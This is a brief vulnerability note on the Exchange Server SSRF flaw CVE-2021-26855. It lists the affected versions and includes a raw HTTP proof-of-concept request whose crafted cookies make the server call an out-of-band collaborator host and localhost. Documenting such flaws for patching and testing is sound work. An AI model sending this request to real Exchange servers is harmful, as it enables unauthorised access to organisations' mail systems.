CVE-2021-26855-Exchange Server SSRF vulnerability

Introduction to Vulnerability

Exchange server-side request forgery (SSRF) vulnerability, an attacker exploiting this vulnerability can send arbitrary HTTP requests and authenticate through Exchange Server.

Scope of influence

Microsoft Exchange Server: 2010

Microsoft Exchange Server: 2013

Microsoft Exchange Server: 2016

Microsoft Exchange Server: 2019

SSRF

GET /owa/auth/x.js HTTP/1.1
Host: 0.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
Accept-Language: en
Connection: close